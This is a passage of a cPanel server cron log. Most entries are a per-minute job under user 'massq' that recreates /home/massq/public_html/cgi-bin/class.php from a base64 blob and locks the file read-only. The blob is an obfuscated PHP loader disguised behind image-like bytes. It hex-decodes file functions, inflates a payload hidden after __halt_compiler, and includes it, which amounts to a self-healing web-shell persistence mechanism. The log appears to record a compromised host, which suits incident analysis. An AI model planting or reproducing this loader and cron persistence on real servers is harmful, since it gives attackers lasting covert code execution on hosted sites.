"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:53:01 server CROND[15617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:54:01 server CROND[15772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:55:01 server CROND[15833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:55:01 server CROND[15834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:55:01 server CROND[15835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:56:01 server CROND[15951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:57:01 server CROND[16015]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 22:57:01 server CROND[16016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:58:01 server CROND[16077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:59:01 server CROND[16159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:00:01 server CROND[16317]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 23:00:01 server CROND[16318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:00:01 server CROND[16319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:00:01 server CROND[16320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:01:01 server CROND[16444]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 23:01:01 server CROND[16445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:01:01 server run-parts(/etc/cron.hourly)[16444]: starting 0anacron
Apr 10 23:01:01 server run-parts(/etc/cron.hourly)[16457]: finished 0anacron
Apr 10 23:02:01 server CROND[16519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:03:01 server CROND[16595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:04:01 server CROND[16663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 23:05:01 server CROND[16821]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 23:05:01 server CROND[16823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 23:05:01 server CROND[16822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 23:05:01 server CROND[16826]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 23:05:01 server CROND[16829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZG